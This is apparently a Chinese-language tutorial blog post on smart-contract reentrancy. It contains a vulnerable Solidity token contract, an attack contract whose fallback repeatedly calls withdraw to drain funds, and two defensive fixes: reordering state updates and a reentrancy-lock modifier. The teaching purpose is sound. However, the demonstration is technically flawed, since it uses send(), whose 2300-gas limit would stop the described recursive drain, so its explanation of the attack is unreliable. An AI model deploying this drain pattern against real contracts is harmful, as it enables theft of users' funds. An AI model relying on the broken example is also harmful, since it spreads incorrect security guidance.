跳到主要内容

重入攻击原理

· 阅读需 3 分钟

智能合约的特点之一就是合约之间可以进行相互的外部调用。同时当我们往合约中发送代币的时候会触发合约的 receive 或者 fallback 函数。依据此特性就可以做出重入攻击。

重入攻击代码示例:

contract RoboToken {
mapping (address => uint) public balances;

constructor() public payable {
balances[msg.sender] += msg.value;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
}

function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);

bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');

balances[msg.sender] -= _amount;
}

function getBalance() public view returns(uint) {
return address(this).balance;
}
}

// 攻击合约
contract ReentrancyAttack {
RoboToken public roboToken;

constructor(address _roboTokenAddress) public {
roboToken = RoboToken(_roboTokenAddress);
}

fallback() external payable {
if (address(roboToken).balance >= 1 ether) {
roboToken.withdraw(1 ether);
}
}

function attack() external payable {
require(msg.value >= 1 ether);
roboToken.deposit{value: 1 ether}();
roboToken.withdraw(1 ether);
}
}

当我们调用攻击合约 ReentrancyAttackattack 方法时

  • 调用 RoboToken 的提现方法 withdraw
  • 提现方法内部会执行转账操作,转账操作会触发攻击合约 ReentrancyAttackfallback
  • fallback 内部又会执行提现方法,而此时 balances[msg.sender] -= _amount; 未执行到, 所以仍满足balances[msg.sender] >= _amount。如此便会一直循环。
  • 直到 RoboToken的余额小于 1 ether

避免重入攻击的方法也很简单。

一种方法是交换代码顺序,先处理状态,再执行转账

function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount);

balances[msg.sender] -= _amount;

bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');
}

其次,还可以利用 modifier 加入防重入锁,避免 withdraw 未执行完的再次调用。

bool internal locked;

modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

function withdraw(uint _amount) public noReentrant {
require(balances[msg.sender] >= _amount);

bool sent = payable(msg.sender).send(_amount);
require(sent, 'Transition Failed');

balances[msg.sender] -= _amount;
}